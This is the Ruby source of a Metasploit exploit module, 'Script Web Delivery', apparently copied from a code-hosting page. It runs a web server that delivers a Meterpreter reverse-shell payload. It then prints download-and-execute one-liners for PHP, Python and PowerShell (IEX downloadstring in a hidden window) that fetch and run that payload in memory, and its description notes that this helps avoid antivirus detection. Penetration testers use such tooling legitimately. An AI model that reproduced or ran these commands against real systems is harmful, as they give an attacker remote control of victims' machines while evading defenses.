101 lines
3.8 KiB
Ruby
101 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Script Web Delivery',
|
|
'Description' => %q(
|
|
This module quickly fires up a web server that serves a payload.
|
|
The provided command will start the specified scripting language interpreter and then download and execute the
|
|
payload. The main purpose of this module is to quickly establish a session on a target
|
|
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
|
|
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
|
|
write to disk so it is less likely to trigger AV solutions and will allow privilege
|
|
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
|
|
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
|
|
x86 payloads on x64 machines.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
|
'Ben Campbell',
|
|
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'Payload' => 'python/meterpreter/reverse_tcp'
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
|
|
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
|
|
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
|
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
|
|
],
|
|
'Platform' => %w(python php win),
|
|
'Targets' =>
|
|
[
|
|
['Python', {
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON
|
|
}],
|
|
['PHP', {
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP
|
|
}],
|
|
['PSH', {
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X86_64]
|
|
}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 19 2013'
|
|
))
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
print_status('Delivering Payload')
|
|
if target.name.include? 'PSH'
|
|
data = cmd_psh_payload(payload.encoded,
|
|
payload_instance.arch.first,
|
|
remove_comspec: true,
|
|
use_single_quotes: true
|
|
)
|
|
else
|
|
data = %Q(#{payload.encoded} )
|
|
end
|
|
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
|
end
|
|
|
|
def primer
|
|
url = get_uri
|
|
print_status('Run the following command on the target machine:')
|
|
case target.name
|
|
when 'PHP'
|
|
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
|
|
when 'Python'
|
|
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
|
when 'PSH'
|
|
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
|
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
|
print_line generate_psh_command_line(
|
|
noprofile: true,
|
|
windowstyle: 'hidden',
|
|
command: download_and_run
|
|
)
|
|
end
|
|
end
|
|
end
|